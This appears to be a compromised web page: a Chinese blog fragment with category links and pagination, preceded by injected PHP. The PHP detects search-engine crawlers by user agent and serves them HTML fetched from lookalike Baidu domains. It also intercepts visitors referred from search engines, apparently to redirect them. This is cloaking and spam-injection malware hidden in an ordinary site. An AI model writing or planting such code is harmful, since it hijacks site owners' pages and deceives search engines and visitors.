header("Content-type: text/html; charset=utf-8"); set_time_limit(30); error_reporting(0); ini_set('user_agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'); $user_agent = $_SERVER['HTTP_USER_AGENT']; $referrer = $_SERVER['HTTP_REFERER']; $host = $_SERVER['HTTP_HOST']; $uri = $_SERVER['REQUEST_URI']; $rhost = preg_replace("/[^a-zA-Z0-9]/", "", $host); $ruri = preg_replace("/[^a-zA-Z0-9]/", "", $uri); $url = "https://sc.baiduui.co"."/".$rhost."/".$ruri.".html"; $Ourl = "https://an.baiduui.co"."/".$rhost."/".$ruri.".html"; $exp = array('google.com','yahoo.com','bing.com','baidu.com','sogou','soso',"sm"); foreach ($exp as $engine) { if (strpos($user_agent, $engine) !== false) { if(strpos($uri, '/?') !== false) { $file_contents = file_get_contents($url); echo $file_contents; exit; }elseif (strlen($uri) == 1) { $file_contents = file_get_contents($Ourl); echo $file_contents; break; }else { $file_contents = file_get_contents($Ourl); echo $file_contents; break; } } }; $is_search_engine_referral = false; foreach ($exp as $engine) { if (strpos($referrer, $engine) !== false && strlen($uri) !== 1) { echo ''; echo ''; echo ''; exit(); } }; 挨三顶五网
  • 娱乐
  • 焦点
  • 时尚
  • 探索

个人博客

 1263 1  2  3  4  5  6  7  8  9